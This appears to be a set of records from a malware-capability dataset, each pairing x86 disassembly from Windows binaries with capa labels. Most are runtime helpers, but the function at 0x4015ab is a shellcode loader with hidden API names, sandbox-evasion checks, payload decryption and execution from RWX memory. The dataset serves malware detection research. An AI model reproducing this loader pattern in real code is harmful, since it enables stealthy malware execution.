joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4540f1
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x6d44a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [fcn.00447aae]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00452e63
mov dword [ebp - 0x14], eax
cmp dword [0x6e5000], edi
jne 0x4541e2
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x45416f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4542c2
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4542c2
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4542c2
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x6e5000], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x6e5004], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x6e5008], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x6e5010], eax
test eax, eax
je 0x4541df
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x6e500c], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x454207
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4541fa
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x45421c
push 4
pop eax
jmp 0x4542c4
cmp dword [ebp - 0x14], edi
je 0x45421c
push dword [0x6e5000]
call dword [fcn.00447ab2]
push 3
jmp 0x454201
mov eax, dword [0x6e500c]
mov ebx, dword [fcn.00447ab2]
cmp eax, esi
je 0x45427a
cmp dword [0x6e5010], esi
je 0x45427a
push eax
call ebx
push dword [0x6e5010]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x45427a
test eax, eax
je 0x45427a
call ecx
test eax, eax
je 0x45426f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x45426f
test byte [ebp - 8], 1
jne 0x45427a
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4542aa
mov eax, dword [0x6e5004]
cmp eax, esi
je 0x4542a7
push eax
call ebx
test eax, eax
je 0x4542a7
call eax
mov edi, eax
test edi, edi
je 0x4542a7
mov eax, dword [0x6e5008]
cmp eax, esi
je 0x4542a7
push eax
call ebx
test eax, eax
je 0x4542a7
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x6e5000]
call ebx
test eax, eax
je 0x4542c2
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4542c4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044f130
leave
ret
Function at 0x460dc0
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x38
mov ecx, 0x6e3598
call fcn.00410d90
cmp eax, 0
je 0x460e3d
mov ecx, 0x6e3598
call fcn.00478a60
mov ecx, esp
mov dword [ecx], eax
lea ecx, [esp + 0x18]
call fcn.00410ad0
sub esp, 4
mov ecx, 0x6e3598
mov dword [esp + 0xc], eax
call fcn.00478a90
lea ecx, [esp + 0x18]
call fcn.0052df00
mov ecx, 3
mov ecx, esp
call fcn.00460f90
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call eax
sub esp, 4
mov dword [esp + 8], eax
lea ecx, [esp + 0x18]
call fcn.00506f10
jmp 0x460dcf
mov al, 1
mov ecx, 0
mov edx, dword [0x6e5094]
call fcn.00460fa0
sub ecx, 0x72d9daa8
sub ecx, 1
add ecx, 0x72d9daa8
mov edi, edx
sub edi, 0xeb53d8cd
add edi, ecx
sub edi, 0x14ac2733
imul edx, edi
and edx, 1
push eax
mov eax, 0x7e74f6ce
xor eax, 0x7e74f6ce
cmp edx, eax
pop eax
sete ah
cmp esi, 0xa
setl bl
mov bh, bl
xor bh, 1
mov cl, ah
xor cl, bh
and cl, ah
mov bh, ah
xor bh, 1
and bh, 1
xor al, 1
and ah, al
mov ch, bl
xor ch, 1
and ch, 1
and bl, al
or bh, ah
or ch, bl
xor bh, ch
mov al, cl
and al, bh
xor cl, bh
or al, cl
test al, 1
jne 0x460ed1
jmp 0x460f85
mov al, 1
mov ecx, 0
mov edx, dword [0x6e5094]
mov esi, dword [0x6e5090]
mov edi, ecx
add edi, 0xbf747599
sub edi, 1
add edi, 0x408b8a67
mov ebx, ecx
sub ebx, edx
mov byte [esp + 7], al
mov eax, ecx
sub eax, edi
add ebx, eax
sub ecx, ebx
imul edx, ecx
and edx, 1
push ecx
mov ecx, 0x6e585167
xor ecx, 0x6e585167
cmp edx, ecx
pop ecx
sete al
cmp esi, 0xa
setl ah
mov cl, al
xor cl, 1
mov ch, ah
xor ch, 1
mov dl, byte [esp + 7]
xor dl, 1
or cl, ch
or dl, 1
xor cl, 1
and cl, dl
mov dl, al
xor dl, 1
and dl, 0
mov ch, byte [esp + 7]
xor ch, 0
and al, ch
mov dh, ah
xor dh, 1
and dh, 0
and ah, ch
or dl, al
or dh, ah
xor dl, dh
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x460f7d
jmp 0x460f85
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x460ed1
Function at 0x1000a573
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000a5b2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000a5b2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000a5b2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000a5b2
cmp dword [ecx + 0x74], 0xe
jbe 0x1000a5b2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000d22f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000d2cc
push ebx
push esi
call fcn.1000d1f8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000d18c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000d279
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000d2cb
push edi
push eax
call fcn.1000e1ea
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000d299
call fcn.1000bcd4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000d2ca
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000d18c
add esp, 0x20
test eax, eax
jne 0x1000d2b8
push edi
call fcn.1000bcd4
jmp 0x1000d2c0
push ebx
call fcn.1000bcd4
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000d539
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014678
push 0x10014670
push str.FlsAlloc
push 0x1f
call fcn.1000d455
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d56d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10013158]
call esi
jmp 0x1000d573
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000d5b7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014688
push 0x10014680
push str.FlsGetValue
push 0x21
call fcn.1000d455
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d5ee
push dword [ebp + 8]
mov ecx, esi
call dword [0x10013158]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000d5f6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014690
push 0x10014688
push str.FlsSetValue
push 0x22
call fcn.1000d455
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d630
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10013158]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10012cb0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10012cdd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10012cdd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4015ab
Capabilities:
Link many functions at runtime

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x40
mov ebx, ecx
call dbg.__main
mov dword [esp], str.lfsofm43_emm
call sym._rot13dec
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
mov dword [esp], str.ouemm_emm
call sym._rot13dec
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov dword [esp], str.HfuUjdlDpvou
call sym._rot13dec
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
mov dword [ebp - 0x18], eax
mov dword [esp], 0x2710
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
call eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
cmp eax, 0x270f
ja 0x401657
mov eax, 0xffffffff
jmp 0x40178c
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov dword [esp + 4], str.pl.exe
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x40167a
mov eax, 0xffffffff
jmp 0x40178c
mov dword [esp], str.DsfbufGjcfs
call sym._rot13dec
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [esp], str.DpowfsuUisfbeUpGjcfs
call sym._rot13dec
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x24], eax
mov dword [esp], str.TxjudiUpGjcfs
call sym._rot13dec
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x28], eax
mov dword [esp], str.WjsuvbmBmmpd
call sym._rot13dec
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x2c], eax
call sym._decrypt_payload
mov eax, dword [0x403184]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x2c]
call eax
sub esp, 0x10
mov dword [ebp - 0x30], eax
mov eax, dword [0x403184]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x403040
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x20]
call eax
mov dword [ebp - 0x34], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x24]
call eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [ebp - 0x28]
call eax
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401c00
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable

Function at 0x401c60
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x405050]
test esi, esi
jle 0x401d4d
mov edi, dword [0x405054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401c94
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401d46
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x401c80
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x401d8a
lea ebx, [esi + esi*2]
mov esi, dword [0x405054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x405054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401d6a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401d3f
sub eax, 0x40
and eax, 0xffffffbf
je 0x401d3f
mov eax, dword [esp + 0x20]
add ebx, dword [0x405054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401d54
add dword [0x405050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x401c9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x405054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
Function at 0x402250
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x405408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x4022a5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40229e
test esi, esi
je 0x40229e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402280
mov dword [esp], 0x405408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4024c0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x4024f8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x4024ee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4024fa
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4024e0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4447c0
Capabilities:
Encode data using xor

Disassembly:
out dx, eax
mov al, 0xbd
movsd dword es:[edi], dword [esi]
stosd dword es:[edi], eax
aam 0xf4
xchg dword [eax - 0x591fe921], edi
lodsb al, byte [esi]
sub al, 0x64
cmp ebx, dword [edx + 0x7f]
add al, cl
retf 0x5639
salc
xor dword [ecx - 0x19d5fa64], esi
std
wait
in eax, 0xba
jno 0x44482d
pop es
pop ds
out 0x5b, eax
fistp dword [edx - 0x69]
aad 0x63
ficom word [ecx - 0x77]
sub byte [eax], 0xb0
mov dh, 0x54
stosb byte es:[edi], al
stosb byte es:[edi], al
add byte [edi + edi*8], dh
and edx, dword [eax + 0x3c0505cc]
fldenv [ebp + 0x122104c6]
push 0x39
in al, dx
fdivr dword [edi - 0x3a72a926]
xchg ecx, eax
into
lds edx, [ebx + 0x75c5be0c]
mov byte [edx], dh
sbb eax, 0xf06d512f
jnp 0x44479e
invalid
mov dword [ebp - 0x55365106], esp
push ebx
mov cs, esi
adc eax, 0x6d682f2a
and al, 0x6a
sar byte [edx + 0x22], cl
xchg edx, eax
push 0xcf95b200
imul edx, edx, 0xe8bd21dd
xchg esp, eax
xor ch, byte [edi]
aaa
movsd dword es:[edi], dword [esi]
jge 0x4448cd
lodsd eax, dword [esi]
jle 0x444877
inc eax
in al, dx
imul ebx, dword [edx + 0x5b], 0xffffffaa
sub byte [eax + 0x69134184], 0x8d
push 0xffffffffffffffb4
retf 0x1c04
pop edx
pop esi
inc edi
pop edx
insb byte es:[edi], dx
call 0x42fc8e0c
out dx, eax
salc
pop esp
fisubr dword [edx]
rcl byte [edx - 0x30]
inc eax
adc ebp, dword [ebx + 0x551e5eab]
stosd dword es:[edi], eax
pop esi
push ds
push ebp
stc
fiadd dword [eax - 0x43]
lds edx, [0xdfe8cc97]
jnp 0x44483b
xchg esi, eax
xor edx, dword [eax - 0x6b]
fisttp qword [esi + 0x3f]
mov ah, 0x5e
invalid
cmp eax, 0xa6a65c65
xor ebp, dword fs:[0xb5618aa2]
out dx, eax
add dl, cl
fisubr word [edi]
imul edi, dword [edx - 0x6d76d85f], 0xffa355b3
jp 0x444957
fstp qword gs:[ecx + 0x20]
std
jecxz 0x44488d
push esi
jmp 0x80072d56
jmp 0x444970
sbb ch, ch
fcomp dword [ebx - 0x1aa9a4a9]
adc dword [edi + 0x5eb483e3], edi
push ds
lahf
test eax, 0xce90819b
xchg ebp, eax
cmp al, 0xe7
aad 0xdf
sub byte [eax + 0x290cbe4e], 0x52
dec edi
rol byte [eax + 0x3415c5da], 0xfa
int1
xchg ebp, eax
adc eax, 0x95f1fa34
pop ebx
xchg edi, eax
dec ecx
aas
mov al, byte [0x9c07b42f]
xor eax, 0xf9d0071f
stc
cdq
mov bh, dh
dec edi
loope 0x4449af
cmp bh, byte [ecx - 0x527a0c88]
push ebx
jle 0x444956
mov bh, 0x87
mov bl, 0xa7
pushfd
repne insb byte es:[edi], dx
lodsb al, byte [esi]
jb 0x44497e
pop esi
insb byte es:[edi], dx
popfd
dec eax
outsd dx, dword [esi]
sub al, 0x49
stosd dword es:[edi], eax
dec esp
cli
stosb byte es:[edi], al
pushal
pop es
mov ch, 0x38
cwde
mov ss, word [edx + 0x7f]
cmp eax, 0x70cb4c25
ret 0xe8eb
Function at 0x4929f6
Capabilities:
Encode data using xor

Disassembly:
scasb al, byte es:[edi]
movsb byte es:[edi], byte [esi]
push cs
wait
mov edx, 0xfe869407
mov edi, 0xc83a637b
inc edx
inc esp
test al, 0xc5
movzx ecx, word [ecx + 7]
pop es
mov al, 0xe6
push edx
xor byte [ecx - 0x37], dl
pop edi
push ds
mov byte [ebp - 0x59], dh
push 0x21
aam 0x37
daa
mov eax, 0xd44e104b
scasd eax, dword es:[edi]
clc
invalid
aaa
pop edi
push edx
push eax
rol bh, 0x9b
fild word [edi + 0x50fdfaf3]
loope 0x4929ac
xor eax, 0x47cb7371
das
pop ebx
nop
cmp dword [ebx + 0x60], edi
xchg byte [eax], dl
or al, 0x62
mov edi, 0x64c6772
inc edi
jg 0x492a9c
imul dword [edi - 0x19]
push eax
and eax, dword [ebx - 0x103ff60b]
xor dword [edi], ecx
adc cl, bh
inc esi
add dword [ecx - 3], esi
pop ss
mov ch, 0xf
xchg dword [ebp - 0x73], ebp
invalid
jle 0x492aa1
dec edx
rcr dh, cl
mov bh, 0xaf
or byte [ecx], dl
aaa
iretd
Function at 0x592483
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add ecx, ebp
pop ebp
mov ecx, dword [esp]
sub esp, 4

Function at 0x627cd9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6303a8
cmp edx, dword [eax]
je 0x627cfb
add eax, 8
inc ecx
cmp eax, 0x630438
jl 0x627cec
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6303a8]
jne 0x627e29
mov eax, dword [0x639d30]
cmp eax, 1
je 0x627e03
test eax, eax
jne 0x627d2c
cmp dword [0x6302d4], 1
je 0x627e03
cmp edx, 0xfc
je 0x627e29
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x627d63
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.006286c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00628b50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x627da6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00628b50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62ca3c
push edi
call fcn.0062aa20
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.006286c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.006286d0
lea eax, [ebp - 0xa0]
push 0x62ca1c
push eax
call fcn.006286d0
push dword [esi + 0x6303ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.006286d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062a994
add esp, 0x2c
pop edi
jmp 0x627e29
lea eax, [ebp + 8]
lea esi, [esi + 0x6303ac]
push 0
push eax
push dword [esi]
call fcn.00628b50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x6f193a0b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x4c
mov eax, dword [ebp + 8]
cdq
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
jmp 0x6f193a90
jmp 0x6f193b04
jmp 0x6f193b78
jmp 0x6f193bec
jmp 0x6f193c60
jmp 0x6f193cd4
jmp 0x6f193d48
jmp 0x6f193dbc
jmp 0x6f193e30
jmp 0x6f193ea4
jmp 0x6f193f18
jmp 0x6f193f8c
jmp 0x6f194000
jmp 0x6f194074
jmp 0x6f1940e8
jmp 0x6f19415c
jmp 0x6f1941d0
jmp 0x6f194244
jmp 0x6f1942b8
jmp 0x6f19432c
jmp 0x6f1943a0
jmp 0x6f194414
jmp 0x6f194488
jmp 0x6f1944fc
jmp 0x6f194570
jmp 0x6f1945e4
jmp 0x6f194658
jmp 0x6f1946cc
jmp 0x6f194740
jmp 0x6f1947b4
jmp 0x6f194828
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
jmp 0x6f1948a2
jmp 0x6f194916
jmp 0x6f19498a
jmp 0x6f1949fe
jmp 0x6f194a72
jmp 0x6f194ae6
jmp 0x6f194b5a
jmp 0x6f194bce
jmp 0x6f194c42
jmp 0x6f194cb6
jmp 0x6f194d2a
jmp 0x6f194d9e
jmp 0x6f194e12
jmp 0x6f194e86
jmp 0x6f194efa
jmp 0x6f194f6e
jmp 0x6f194fe2
jmp 0x6f195056
jmp 0x6f1950ca
jmp 0x6f19513e
jmp 0x6f1951b2
jmp 0x6f195226
jmp 0x6f19529a
jmp 0x6f19530e
jmp 0x6f195382
jmp 0x6f1953f6
jmp 0x6f19546a
jmp 0x6f1954de
jmp 0x6f195552
jmp 0x6f1955c6
jmp 0x6f19563a
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov ebx, eax
sar ebx, 0x1f
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x20], eax
jmp 0x6f1956c8
jmp 0x6f19573c
jmp 0x6f1957b0
jmp 0x6f195824
jmp 0x6f195898
jmp 0x6f19590c
jmp 0x6f195980
jmp 0x6f1959f4
jmp 0x6f195a68
jmp 0x6f195adc
jmp 0x6f195b50
jmp 0x6f195bc4
jmp 0x6f195c38
jmp 0x6f195cac
jmp 0x6f195d20
jmp 0x6f195d94
jmp 0x6f195e08
jmp 0x6f195e7c
jmp 0x6f195ef0
jmp 0x6f195f64
jmp 0x6f195fd8
jmp 0x6f19604c
jmp 0x6f1960c0
jmp 0x6f196134
jmp 0x6f1961a8
jmp 0x6f19621c
jmp 0x6f196290
jmp 0x6f196304
jmp 0x6f196378
jmp 0x6f1963ec
jmp 0x6f196460
mov eax, dword [ebp - 0x20]
add eax, 0x78
mov dword [ebp - 0x24], eax
jmp 0x6f1964dd
jmp 0x6f196551
jmp 0x6f1965c5
jmp 0x6f196639
jmp 0x6f1966ad
jmp 0x6f196721
jmp 0x6f196795
jmp 0x6f196809
jmp 0x6f19687d
jmp 0x6f1968f1
jmp 0x6f196965
jmp 0x6f1969d9
jmp 0x6f196a4d
jmp 0x6f196ac1
jmp 0x6f196b35
jmp 0x6f196ba9
jmp 0x6f196c1d
jmp 0x6f196c91
jmp 0x6f196d05
jmp 0x6f196d79
jmp 0x6f196ded
jmp 0x6f196e61
jmp 0x6f196ed5
jmp 0x6f196f49
jmp 0x6f196fbd
jmp 0x6f197031
jmp 0x6f1970a5
jmp 0x6f197119
jmp 0x6f19718d
jmp 0x6f197201
jmp 0x6f197275
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x28], eax
jmp 0x6f197302
jmp 0x6f197376
jmp 0x6f1973ea
jmp 0x6f19745e
jmp 0x6f1974d2